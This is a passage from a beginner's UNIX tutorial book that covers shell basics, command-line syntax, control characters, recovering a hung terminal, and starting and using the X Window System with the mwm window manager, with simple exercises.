Her accounts have shell prompts that include the hostname. This reminds her when she's logged in remotely. If you use more than one system but don't have the hostname in your prompt, references in Appendix A, Reading List (UNIX Power Tools, for example), will show you how to add it.

1.1.4 The UNIX Shell

Once you've logged in, you're working with a program called a shell. The shell interprets the commands you enter, runs the program you've asked for, and generally coordinates what happens between you and the UNIX operating system. Common shells include Bourne (sh), Korn (ksh), and C (csh) shells, as well as bash and tcsh.

For a beginner, the differences between most shells are slight. If you plan to do a lot of work with UNIX, though, ask your system administrator which shell your account uses; you should learn more about your shell and its set of special commands.

1.1.5 The Shell Prompt

When the system finishes running a command, the shell replies with a prompt to tell you that you can enter another command line.

Shell prompts usually contain $ or %. The prompt can be customized, though, so your own shell prompt may be different.

1.1.6 Entering a Command Line

Entering a command line at the shell prompt tells the computer what to do. Each command line includes the name of a UNIX program. When you press [RETURN], the shell interprets your command line and executes the program.

The first word that you type at a shell prompt is always a UNIX command (program name). Like most things in UNIX, command names are case-sensitive; if the command name is lowercase (and most are), you must type it in lowercase. Some simple command lines have just one word: the command name.

1.1.6.1 date

An example single-word command line is date. Entering the command date displays the current date and time:

% date
Tue Nov  4 13:39:24 EST 1997
%

As you type a command line, the system simply collects your input from the keyboard. Pressing the [RETURN] key tells the shell that you have finished entering text and that it can start executing the command.

1.1.6.2 who

Another simple command is who. It lists each logged-on user's username, terminal number, and login time.

The who command can also tell you who is logged in at the terminal you're using. The command line is who am i. This command line consists of the command (who) and arguments (am i). (The section "Syntax of UNIX Command Lines," later in this chapter, explains arguments.)

% who am i
cactus!john     tty23   Nov  6 08:26      (rose)

The response shown in this example says that:

  • "I am" John.

  • I'm logged on to the computer named "cactus."

  • I'm using terminal 23.

  • I logged in at 8:26 on the morning of November 6.

  • I started my login from another computer named "rose."

Not all versions of who am i give the same information.

1.1.7 Correcting a Mistake

What if you make a mistake in a command line? Suppose you typed dare instead of date and pressed the [RETURN] key before you realized your mistake. The shell will give you an error message:

% dare
dare: command not found
%

Don't be too concerned about getting error messages. Sometimes you'll get an error even if it appears that you typed the command correctly. This can be caused by typing control characters that are invisible on the screen. Once the prompt returns, reenter your command.

Most modern shells let you recall previous commands and edit command lines. If you'll be doing a lot of work at the shell prompt, it's worth learning these handy techniques. They take more time to learn than we can spend here, though. Ask other users for help or read a reference book for your shell (see Appendix A). We'll concentrate on simple methods that work with all shells.

If you see a mistake before you press [RETURN], you can use the [BACKSPACE] key to erase the mistake and put in the correction.

The erase character differs from system to system and from account to account, and can be customized. The most common erase characters are:

  • [BACKSPACE]

  • [DELETE], [DEL], or [RUBOUT] key

  • [CTRL-H]

[CTRL-H] is called a control character. To type a control character (for example, [CTRL-H], hold down the [CTRL] key while pressing the letter "h". (This is like the way you make an uppercase letter: hold the [SHIFT] key while pressing a letter key.) In the text, we will write control characters as [CTRL-H], but in the examples, we will use the standard notation: ^H. This is not the same as pressing the ^ (caret) key, letting go, and then typing an H!

The key labeled [DEL] may be used as the interrupt character instead of the erase character. (It's labeled [DELETE] or [RUBOUT] on some terminals.) This key is used to interrupt or cancel a command, and can be used in many (but not all) cases when you want to quit what you're doing. Another character often programmed to do the same thing is [CTRL-C].

Some other common control characters are:

[CTRL-U]

Erases the whole input line; you can start over.

[CTRL-S]

Pauses output from a program that is writing to the screen.

[CTRL-Q]

Restarts output after a pause by [CTRL-S].

[CTRL-D]

Used to signal end-of-input for some programs (like cat and mail; see Chapter 3, Your UNIX Account ) and return you to a shell prompt. If you type [CTRL-D] at a shell prompt, it may also log you out of the UNIX system.

Find the erase and interrupt characters for your account and write them down:

_______ Backspace and erase a character

_______ Interrupt a command

In Chapter 3, we'll tell you how to change these characters if you like.

1.1.8 Logging Out

To end a UNIX session, you must log out. You should not end a session by just turning off your terminal! To log out, enter the command exit. (In many cases, the command logout will also work.) Depending on your shell, you may also be able to log out by typing [CTRL-D].

What happens next depends on the place from which you've logged in:

  • If your terminal is connected directly to the computer, the "login:" prompt should appear on the screen.

  • If you're using a window system, the window will probably close. If you have additional windows open, you'll need to log out or close them, too. You may also need to terminate the window system itself. (See Chapter 2.)

  • If you were connected to a remote computer, the system prompt from your local computer should reappear on your screen. (That is, you're still logged in to your local computer.) Repeat the process if you want to log out from the local computer.

After you've logged out, you can turn off your terminal or leave it on for the next user.

1.1.8.1 Problem checklist

The first few times you use UNIX, you aren't likely to have any of the following problems. However, you may have these problems later, as you start doing more advanced work.

You get another shell prompt or the system says ": not login shell."

You've been using a subshell (a shell created by your original login shell). To end each subshell, type exit (or just type [CTRL-D] until you're logged out.

The system says "There are stopped jobs."

Many UNIX systems have a feature called job control that lets you suspend a program temporarily while it's running. One or more of the programs you ran during your session has not ended, but is stopped (paused). Enter fg to bring each stopped job into the foreground, then quit the program normally. (See Chapter 6, Multitasking .)

Previous: Acknowledgments | Learning the Unix Operating System | Next: 1.2 Syntax of UNIX Command Lines
Acknowledgments | Book Index | 1.2 Syntax of UNIX Command Lines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.2 Syntax of UNIX Command Lines

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 1.1 Working in the UNIX Environment Chapter 1
Getting Started 		Next: 1.3 Types of Commands

1.2 Syntax of UNIX Command Lines

UNIX command lines can be simple, one-word entries like the date command. They can also be more complex: you may need to type more than the command name.

A UNIX command may or may not have arguments. An argument can be an option or a filename. The general format for UNIX commands is:

command option(s) filename(s)

There isn't a single set of rules for writing UNIX commands and arguments, but you can use these general rules in most cases:

  • Enter commands in lowercase.

  • Options modify the way in which a command works. Options are often single letters prefixed with a dash (-) and set off by any number of spaces or tabs. Multiple options in one command line can be set off individually (like -a -b), or, in some cases, you can combine them after a single dash (like -ab).

    Some commands, including those on Linux systems, also have options made from complete words or phrases, like --delete or --confirm-delete. When you enter a command, you can use this option style, the single-letter options (which all start with a single dash), or both.

  • The argument filename is the name of a file that you want to use. If you don't enter a filename correctly, you may get the response "filename: no such file or directory" or "filename: cannot open."

    Some commands, like telnet and who (shown earlier in this chapter), have arguments that aren't filenames.

  • You must type spaces between commands, options, and filenames.

  • Options come before filenames.

  • Two or more commands can be written on the same command line, each separated by a semicolon (;). Commands entered this way are executed one after another by the shell.

UNIX has a lot of commands! Don't try to memorize all of them. In fact, you'll probably need to know just a few commands and their options. As time goes on, you'll learn these commands and the best way to use them for your job. We cover some useful UNIX commands in later chapters.

Let's look at a sample UNIX command. The ls command displays a list of files. It can be used with or without options and arguments. If you enter:

% ls

a list of filenames will be displayed on the screen. But if you enter:

% ls -l

there will be an entire line of information for each file. The -l option (a dash and a lowercase letter "l") modifies the normal output of the ls command and lists files in the long format. You can also get information about a particular file by using its name as the second argument. For example, to find out about a file called chap1, enter:

% ls -l chap1

Many UNIX commands have more than one option. For instance, ls has the -a (all) option for listing hidden files. You can use multiple options in either of these ways:

% ls -a -l
% ls -al

You must type one space between the command name and the dash that introduces the options. If you enter ls-al, the shell will say "ls-al: command not found."

1.2.1 Exercise: Entering a few commands

The best way to get used to UNIX is to enter some commands. To run a command, type in the command and then press the [RETURN] key. Remember that almost all UNIX commands are typed in lowercase.
Get today's date. | Enter date
List logged-in users. | Enter who
Obtain more information about users. | Enter who -u or finger or w
Find out who is at your terminal. | Enter who am i
Enter two commands in the same line. | Enter who am i;date
Mistype a command. | Enter woh
In this session, you've tried several simple commands and seen the results on the screen.

Previous: 1.1 Working in the UNIX Environment | Learning the Unix Operating System | Next: 1.3 Types of Commands
1.1 Working in the UNIX Environment | Book Index | 1.3 Types of Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.3 Types of Commands

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 1.2 Syntax of UNIX Command Lines Chapter 1
Getting Started 		Next: 1.4 The Unresponsive Terminal

1.3 Types of Commands

The previous section was about UNIX commands you enter at a shell prompt. Some UNIX commands have commands of their own. (For examples, look at the more, mail, and pg commands in Chapter 3. Text editors like vi and emacs also have their own commands.) Once you start the command, it prints its own prompt and understands its own set of commands (not UNIX commands).

For instance, if you enter mail, you'll see a new prompt from the mail program. You'll enter mail commands to handle mail messages. When you enter the special command (q) to quit the mail program, mail will stop prompting you. Then you'll get another shell prompt; you can enter UNIX commands again.

Previous: 1.2 Syntax of UNIX Command Lines | Learning the Unix Operating System | Next: 1.4 The Unresponsive Terminal
1.2 Syntax of UNIX Command Lines | Book Index | 1.4 The Unresponsive Terminal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.4 The Unresponsive Terminal

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 1.3 Types of Commands Chapter 1
Getting Started 		Next: 2. Using Window Systems

1.4 The Unresponsive Terminal

During your UNIX session (while you're logged in), your terminal may not respond when you type a command, or the display on your screen may stop at an unusual place. That's called a "hung" or "frozen" terminal or session.

A session can be hung for several reasons. One of the most common is that the connection between your terminal and the computer gets too busy and your terminal has to wait its turn. (Other users or computers are probably sharing the same connection.) In that case, your session will start by itself in a few moments. You should not try to "un-hang" the session by entering extra commands because those commands will all take effect after the connection resumes.

If the system doesn't respond for quite a while (and how long that is depends on your individual situation; ask your system administrator for advice), the following solutions will usually work. Try these in the order shown until the system responds.

  1. Press the [RETURN] key.

    You may have typed a command but forgotten to press [RETURN] to tell the shell that you're done typing and it should now interpret the command.

  2. If you can type commands, but nothing happens when you press [RETURN], try pressing [LINE FEED] or typing [CTRL-J]. If this works, your terminal needs to be reset to fix the [RETURN] key. Some systems have a reset command that you can run by typing [CTRL-J] reset [CTRL-J]. If this doesn't work, you may need to log out and log back in or turn your terminal off and on again.

  3. If your shell has job control (see Chapter 6), type [CTRL-Z].

    This suspends a program that may be running and gives you another shell prompt. Now you can enter the jobs command to find the program's name, then restart the program with fg or terminate it with kill.

  4. Use your interrupt key (found earlier in this chapter - typically [DELETE] or [CTRL-C].

    This interrupts a program that may be running. (Unless a program is run in the background, as described in Chapter 6, the shell will wait for it to finish before giving a new prompt. A long-running program may thus appear to hang the terminal.) If this doesn't work the first time, try it once more; doing it more than twice usually won't help.

  5. Type [CTRL-Q].

    If output has been stopped with [CTRL-S], this will restart it. (Note that some systems will automatically issue [CTRL-S] if they need to pause output; this character may not have been typed from the keyboard.)

  6. Check that the [NO SCROLL] key is not locked or toggled on.

    This key stops the screen display from scrolling upward. If your keyboard has a [NO SCROLL] key that can be toggled on and off by pressing it over and over, keep track of how many times you've pressed it as you try to free yourself. If it doesn't seem to help, be sure you've pressed it an even number of times; this leaves the key in the same state it was when you started.

  7. Check the physical connection from the terminal to the system.

  8. Type [CTRL-D] at the beginning of a new line.

    Some programs (like mail) expect text from the user. A program may be waiting for an end-of-input character from you to tell it that you've finished entering text. Typing [CTRL-D] may cause you to log out, so you should try this only as a last resort.

  9. If you're using a window system, close (terminate) the window you're using and open a new one. Otherwise, turn your terminal off, wait ten seconds or so, then turn it on again (this may also log you out).

If none of these works, you should then ask a local system expert for help and watch carefully.

Previous: 1.3 Types of Commands | Learning the Unix Operating System | Next: 2. Using Window Systems
1.3 Types of Commands | Book Index | 2. Using Window Systems
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] Using Window Systems

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 1.4 The Unresponsive Terminal Chapter 2 Next: 2.2 Starting X

2. Using Window Systems

Contents:
Introduction to Windowing
Starting X
Running Programs
Working with a Mouse
Working with Windows
Other X Clients
Quitting

2.1 Introduction to Windowing

All versions of UNIX work with computer terminals that handle a single window or a single login session. Most modern UNIX versions support one or more window systems. A window system is a package of programs that let a terminal handle many sessions at once. Along with the keyboard, window systems use a mouse or another device (such as a trackball) to move a pointer across the screen. The pointer can select parts of the screen, move them, help you copy and paste text, work with menus of commands, and more. If you've used a Macintosh, any version of Microsoft Windows, or OS/2 and its Presentation Manager (among others), you've used a window system. Figure 2.1 shows a typical display with windows.

Here's a special note for Linux users. Most Linux systems support window systems. But they also have a surprisingly handy substitute: virtual consoles. If you're using the terminal that's directly connected to a personal computer running Linux, you can access up to eight separate screens on the same display. To use virtual consoles, hold down the left [ALT] key and press one of the function keys [F1] through [F8]. Each of those function keys will bring up a separate UNIX session with its own shell prompt. Use each one for whatever you want - just remember to log out from each virtual console when you're done!

We won't mention Linux virtual consoles any more. This chapter introduces the X Window System (called X for short), the most common UNIX window system. This introduction should also help you use non-X window systems.

Like UNIX, X is very flexible. The appearance of windows, the way menus work, and other features are controlled by a program called the window manager. Three common window managers are mwm, fvwm, and twm. There are plenty of other window managers - including fvwm95, which simulates a Windows 95 desktop on UNIX. This chapter explains mwm and uses it in examples. The details of using other window managers, and the ways they appear on the display, are somewhat different - but this chapter should help you use them, too.

Figure 2.1: An X display with the mwm window manager

Previous: 1.4 The Unresponsive Terminal | Learning the Unix Operating System | Next: 2.2 Starting X
1.4 The Unresponsive Terminal | Book Index | 2.2 Starting X
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.2 Starting X

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 2.1 Introduction to Windowing Chapter 2
Using Window Systems 		Next: 2.3 Running Programs

2.2 Starting X

There are several ways to start X and its window manager. This section explains a few of the most common ways. Figure 2.2 shows some steps along a few different paths to starting X. If your display is like any of the following, refer to the section noted. (If none of these fits your situation, skim through the next three sections or ask your system administrator for help.)

  • Figure 2.2A, xdm is running. Start with Section A.

  • Figure 2.2B, you have a standard UNIX login session. Start with Section B.

  • Figure 2.2C, X is running but a window manager probably isn't. (You can tell because the window doesn't have a "frame" around it.) Read Section C.

  • Figure 2.2D, the window has a frame, so X and the window manager (in this example, mwm) are running. You can skip ahead to the next main section, "Running Programs."

Figure 2.2: Some possibilities

2.2.1 A. Ready to Run X (with xdm)

Some terminals, like the one shown in Figure 2.2A, are probably ready to use X. Your terminal has probably been set up to use xdm, the X display manager; xdm logs you in to your UNIX host and (usually) starts the window manager.

When you start, there's a single window in the middle of the screen that says something like "X Window System on hostname." The window has two prompts, "Login:" and "Password:". A cursor (a vertical bar) sits to the right of the "Login:" line. Type your username (login name) and press [RETURN]. Do the same for your password. The login window disappears.

If a display something like Figure 2.1 or Figure 2.2D appears, You're ready to use X! You can skip ahead to "Running Programs."

If you get a display like Figure 2.2C, read Section C below. Or, if you get a blank display, try pressing and releasing your mouse buttons one by one, slowly, to see if a menu pops up.

2.2.2 B. Starting X from a Standard UNIX Session

If your terminal shows something like Figure 2.2B, with a standard UNIX "login:" prompt (not in a separate window; the whole screen looks like a terminal), then X is not running. Log in (as Chapter 1, Getting Started , explains) and get a shell prompt (like %). Next, you need to start X. The default command is:

% xinit

though your system may use another command (startx, for instance) instead. If all goes well, your screen will sprout at least one window. If the window looks like Figure 2.2C, without a frame from a window manager, read Section C. Otherwise, your window manager is running; skip ahead to the next main section, "Running Programs."

2.2.2.1 Problem checklist

No windows open. I get the message "Fatal server error: No screens found."

Your terminal may not be able to run X. Ask the system administrator.

2.2.3 C. Starting the Window Manager

Once you have a window open with a shell prompt in it (usually % or $), you can start the window manager program. Your account may have been set up to do this automatically. If a window manager is not running, windows won't have frames (with titles, control boxes, and so on). Also, if you move the pointer to the root window (sometimes called the "desktop") and press the mouse buttons, menus won't appear unless the window manager is running.

If you need to start the window manager, move your pointer into the window. Then enter this command at the shell prompt to start the Motif window manager:

% mwm &
[1] 12345
%

(To start twm, olwm, or another window manager, the command you'd type would be the name of that window manager.) In a few moments, the window should have a frame. (For more about starting programs, refer to "The xterm Window" section, later in this chapter.)

Previous: 2.1 Introduction to Windowing | Learning the Unix Operating System | Next: 2.3 Running Programs
2.1 Introduction to Windowing | Book Index | 2.3 Running Programs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.3 Running Programs

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 2.2 Starting X Chapter 2
Using Window Systems 		Next: 2.4 Working with a Mouse

2.3 Running Programs

One of the most important X features is that windows can come either from programs running on another computer or from an operating system other than UNIX. So, if your favorite MS-DOS program doesn't run under UNIX but has an X interface, you can run the program under MS-DOS and display its windows with X on your UNIX computer. Researchers can run graphical data analysis programs on supercomputers in other parts of the country and see the results in their offices. There's much more than we could cover here. The O'Reilly & Associates book X Window System User's Guide, Volume Three, OSF/Motif Edition has all the details.

2.3.1 Setting Focus

Of all the windows on your screen, only one window receives the keystrokes you type. This window is usually highlighted in some way. By default in the mwm window manager, for instance, the frame of the window that receives your input is a darker shade of grey. In X jargon, choosing the window you type to is called "setting the input focus." Most window managers can be configured to set the focus in one of the following two ways:

  • Point to the window and click a mouse button (usually the first button). You may need to click on the titlebar at the top of the window.

  • Simply move the pointer inside the window.

When you use mwm, any new windows will get the input focus automatically as they pop up.

2.3.2 The xterm Window

One of the most important windows is an xterm window. xterm makes a terminal emulator window with a UNIX login session inside, just like a miniature terminal. You can have several xterm windows at once, each doing something different. To enter a UNIX command or answer a prompt in a window, set the focus there and type. Programs in other windows will keep running; if they need input from you, they'll wait just as they would on a separate terminal.

Figure 2.2D and Figure 2.4 show a single xterm window with a shell prompt (%) inside. If you enter a UNIX command (like date), it will run just as it would on a non-window terminal.

You can also start separate X-based window programs (typically called clients) by entering commands in an xterm window. Although you can start new clients (xterm, xcalc, and so on) from any open xterm window on your computer, we recommend starting all of them from the first window that you opened. If you do that, and if your shell has job control (see Chapter 6, Multitasking ), it's easy to find and control all the clients.

Here's an example. To start the calculator called xcalc, enter:

% xcalc &
[1] 12345
%

The shell will print a PID number like 12345. (Chapter 6 has more information on this subject.) If you forget to add the ampersand (&) at the end of the line, kill (terminate) xcalc with your interrupt character (like [CTRL-C] to get another shell prompt - then enter the command correctly.

The new window may be placed and get the focus automatically. Or, the window (or an outline of it) may "float" above the display, following the pointer - until you point somewhere and click the mouse button to place the window.

You can also start a new xterm from an existing xterm. Just enter xterm & (don't forget the ampersand) at the shell prompt.

The same method works for starting other X programs.

2.3.3 The Root Menu

If you move the pointer onto the root window (the "desktop" behind the windows) and press the correct mouse button (usually the first or third button, depending on your setup), you should see the root menu. You may need to hold down the button to keep the menu visible. The root menu has commands for controlling windows. The menu's commands may differ depending on the system.

Your system administrator (or you, if you study your window manager) can add commands to the root menu. These can be window manager operations or commands to open other windows. For example, a "New Window" menu item can open a new xterm window for you. A "Calculator" item could start xcalc.

2.3.3.1 Exercise

Change to your home directory. | Enter cd
Open two xterm windows. | Enter xterm & twice or select that item twice on the root menu.
Practice setting focus on both new windows and entering UNIX commands in each. | Click on window and/or move pointer there. Enter who am i, etc.
Start the clock from one window. | Enter oclock &
Start the calculator from one window and try it. | Enter xcalc &
Change working directory (see Chapter 3, Your UNIX Account ) in only one window. | Enter cd /bin
Check working directory (see Chapter 3) in both windows. | Enter pwd
Terminate xcalc. | Set focus on the xcalc, and type your interrupt character (such as [CTRL-C]

2.3.3.2 Problem checklist

When I try to start a client, I see "connection refused by server" or "client is not authorized to connect to server."

You may need to run the xhost command. See your system administrator or an experienced X user.

When I try to start a client, I see "Error: Can't open display."

Your DISPLAY environment variable may not be set correctly or you may need to use the -display option. Ask for help or refer to the X Window System User's Guide, Volume 3.

Previous: 2.2 Starting X | Learning the Unix Operating System | Next: 2.4 Working with a Mouse
2.2 Starting X | Book Index | 2.4 Working with a Mouse
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.4 Working with a Mouse

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 2.3 Running Programs Chapter 2
Using Window Systems 		Next: 2.5 Working with Windows

2.4 Working with a Mouse

Let's look at some basics of using a mouse or other pointing device.

2.4.1 Pointer Shape

As you move the mouse pointer [1] from the root window onto other windows or menus, the shape of the pointer will change. For instance, on the root window, the pointer is a big X. The pointer may change to an hourglass shape to tell you to wait. When you resize a window, the pointer changes to a cross with arrows.

[1] The correct word for this symbol is cursor. But xterm and some other windows also have separate cursors to show where text will be entered. To avoid confusion, we use the word "pointer" for the cursor that moves all across the display under control of the mouse.

2.4.2 Pointing, Clicking, and Dragging

What's "pointing and clicking"? That's when you move the pointer to a place (usually over part of a window), then quickly press and release a mouse button (usually the first button). It's the same idea as pressing a button on a telephone or another electronic appliance.

Something else you'll do is "dragging." That means moving the pointer to a place (such as the corner of a window), then pressing a mouse button and holding it down while you move the pointer. This is called "dragging" a pointer or object, because the object will be dragged along with the pointer until you let go of the mouse button.

2.4.3 Using a Mouse with xterm Windows

Xterm windows have an advantage over plain UNIX terminals in that you can copy and paste text within a window or between windows. To get started, move the pointer inside an xterm window and select the window (set the focus there). Notice that the pointer changes to an "I-beam" shape. There's also a block cursor. As you type, notice that text you input appears at the block-shaped cursor, just like it would on a standard terminal. So, think of the block cursor as the window's input point.

The I-beam pointer selects text for copying. Let's try it. Point to the first character of a command line (not the prompt) and click the first mouse button. Next, move the pointer to the end of the text you want to select and click the third button. The text between the first and third clicks should be highlighted. (If you accidentally click another button, you may need to start over.) Your xterm window should look something like Figure 2.3.

Next, click (don't hold) the second (middle) mouse button. The selected text will be copied into the window at the block cursor, just as if you had typed it in. Press [RETURN] to run the command line; otherwise, backspace over it to get back to the prompt.

You can also select text by clicking in an xterm window. Point to a word and double-click (click twice, quickly) the first button; the word should be highlighted. Point to a line and triple-click to highlight the whole line. You can select and copy any text, not just command lines.

Figure 2.3: Copying and pasting a command line

The same copying and pasting works between xterm windows and between many other (but not all) windows that handle text. You can select text in one window and paste it into the other window. This is very handy for text editing.

Previous: 2.3 Running Programs | Learning the Unix Operating System | Next: 2.5 Working with Windows
2.3 Running Programs | Book Index | 2.5 Working with Windows
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.5 Working with Windows

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 2.4 Working with a Mouse Chapter 2
Using Window Systems 		Next: 2.6 Other X Clients

2.5 Working with Windows

A window manager program helps you control windows. This section explains how mwm manages windows. Other window managers do the same kinds of things - but with some variation. Let's start by looking at Figure 2.4, a typical window under mwm.

The top part of every window has a titlebar with the title of the window and three buttons. The edges of the window can be used to resize the window. (See the Note in "Resizing Windows," later in this chapter.)

2.5.1 Using the Titlebar

The top part of a window has three buttons (see Figure 2.4).

The two buttons at the top right corner have boxes inside them. Clicking the button with the small box makes the window as small as possible; the window turns into an icon. "Iconifying" puts unneeded windows out of the way without quitting the program inside them; it also keeps you from accidentally typing into a window. (Figure 2.1 shows an icon.) The button with the big square maximizes a window. That makes it as big as the client will allow, often as big as the screen.

Figure 2.4: A window running with the Motif Window Manager

The left button opens the window menu; this is explained in "The Window Menu" section later in this chapter.

2.5.2 Moving Windows and Icons

To move a window, start by pointing to the titlebar. To move an icon, point to it. Hold down the first mouse button and drag to the new location - then let go of the button. You can also start the move from the window menu (see the following section on the window menu), but we think this way is easier.

2.5.3 Resizing Windows

If you have the pointer inside a window and then move the pointer to an edge, the pointer will change to an arrow shape. The arrow points the direction that you can resize the window. If you pointed to one of the corners, you can resize both sides that meet at the corner. To resize when you have the arrow pointer, press and hold the first button, then drag the window border until the window size is what you want and release the button. If you don't get quite the size you want, just do it again.

NOTE: On some versions of UNIX and with some programs, changing the size of an xterm window may confuse programs currently running in that window. Also, remember that many UNIX terminals are 80 characters wide; if you're editing text in a window and change its width to something other than 80 characters, that can cause trouble later when the file is viewed on a standard 80-character-wide terminal.

2.5.4 The Window Menu

Under mwm, each window can be controlled by its own window menu. There are lots of ways to get a window menu. Here are two: click on the menu button at the top left corner of a frame (Figure 2.4), or click on an icon. Figure 2.5 shows a window menu. When the menu pops up, you can point to one of the items and click it:

Figure 2.5: The mwm window menu

  • Restore restores a minimized (icon) or maximized window to its original size. In Figure 2.5, the Restore entry is in a lighter typeface; this means you can't select it. (The window is already its normal size; restoring it wouldn't do anything.)

  • Move lets you reposition a window on the screen.

  • Size lets you change a window's size. (See the preceding Note.)

  • The Minimize and Maximize operations are explained in "Using the Titlebar," earlier in this chapter.

  • Lower moves a window to the bottom of the stack, if it's in a stack of windows.

  • Close terminates the window and the program in it. Use this as a last resort. If the program has a separate menu or quit command (for example, entering exit at a shell prompt in an xterm window), use it instead of Close. (See "Quitting," later in this chapter, for explanation.)

On the menu, a keyboard shortcut follows each command. You don't have to use the mouse to choose commands. For example, to Minimize (iconify) a window, hold down the [ALT] (or [META] key and press the [F9] key. The shortcut for bringing up the window menu (and taking it away) is to hold the [SHIFT] key and press the [ESC] (ESCAPE) key. If your keyboard doesn't have all of those keys, the menu can be customized to use different keys. O'Reilly & Associates' X Window System User's Guide, Volume 3M, explains how.

2.5.4.1 Exercise

Copy and paste part of a command line. | Type who am i;date and press [RETURN] in one xterm window. Highlight the who am i, set focus to the other xterm window, and copy the command there.
Move a window. | Grab and drag the window by its titlebar.
Iconify a window from the titlebar. | Use the Mimimize button.
Restore the icon. | Select Restore from the window menu.

Previous: 2.4 Working with a Mouse | Learning the Unix Operating System | Next: 2.6 Other X Clients
2.4 Working with a Mouse | Book Index | 2.6 Other X Clients
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.6 Other X Clients

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 2.5 Working with Windows Chapter 2
Using Window Systems 		Next: 2.7 Quitting

2.6 Other X Clients

Here are a few of the X client programs that your system may have:

  • resize: helps programs in xterm windows recognize new window size

  • xbiff: tells you when new electronic mail comes in

  • xclipboard: helps with copying and pasting text

  • xdpr: prints a window (with the printer)

  • xedit: simple text editor

  • xmag: magnifies parts of the screen

  • xman: browses UNIX manual (reference) pages

  • xmh: electronic mail program

  • xset: sets user preferences

For more information on those programs, see your online documentation or the O'Reilly X Window System User's Guide.

Previous: 2.5 Working with Windows | Learning the Unix Operating System | Next: 2.7 Quitting
2.5 Working with Windows | Book Index | 2.7 Quitting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.7 Quitting

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 2.6 Other X Clients Chapter 2
Using Window Systems 		Next: 3. Your UNIX Account

2.7 Quitting

Like almost everything in X, the way to quit X is configurable. The key to shutting down X is to know which of your programs (your windows or window manager) is the controlling program. When the controlling program quits, any leftover X programs are killed immediately. The controlling program is usually either the window manager or the single xterm window that started your X session.

Find the controlling program for your X session and write it down:

_____________________________ Program to quit last

If your controlling program is an xterm window, we suggest leaving that window iconified from just after you've logged in until you've shut down all the other X clients. That way, you won't end your X session accidentally by closing that xterm window too soon.

To quit the window manager, select the Exit or Quit command on the root menu.

Here are the steps to shut down X:

  1. Quit all noncontrolling programs (all programs other than the controlling program). If any windows are running programs that have their own "quit" commands, it's a good idea to use those special commands to quit. For example, if you're running a text editor in an xterm window, use the editor's "quit" command, then finish the xterm window by entering exit at the shell prompt.

    Using the program's own "quit" command gives the program time to clean up and shut down gracefully. On the other hand, the Close item on the mwm window menu can interrupt and kill a program before it's ready. If, however, a program doesn't have its own "quit" command, use Close on the window menu.

    If any icons are running programs that have their own "quit" command, open the icons into windows and use the "quit" commands.

  2. Quit the controlling program.

    After X shuts down, you may get a UNIX shell prompt. If you do, you can log out by entering exit. If you simply get another login box from xdm (as in Figure 2.2), you're done.

Previous: 2.6 Other X Clients | Learning the Unix Operating System | Next: 3. Your UNIX Account
2.6 Other X Clients | Book Index | 3. Your UNIX Account
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] Your UNIX Account

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 2.7 Quitting Chapter 3 Next: 3.2 Looking Inside Files

3. Your UNIX Account

Contents:
The UNIX Filesystem
Looking Inside Files
Protecting and Sharing Files
Electronic Mail
Changing Your Password
Customizing Your Account

Once you log in, you can use the many facilities UNIX provides. As an authorized system user, you have an account that gives you:

  • A place in the UNIX filesystem where you can store your files.

  • A username that identifies you and lets you control access to your files and receive messages from other users.

  • A customizable environment that you can tailor to your preferences.

3.1 The UNIX Filesystem

A file is the unit of storage in UNIX, as in many other systems. A file can hold anything: text (a report you're writing, a to-do list), a program, digitally encoded pictures or sound, and so on. All of those are just sequences of raw data until they are interpreted by the right program.

In UNIX, files are organized into directories. A directory is actually a special kind of file where the system stores information about other files. A directory can be thought of as a place, so that files are said to be contained in directories and you are said to work inside a directory. (If you've used a Macintosh or Microsoft Windows computer, a UNIX directory is a lot like a folder. MS-DOS and UNIX directories are very similar.)

3.1.1 Your Home Directory

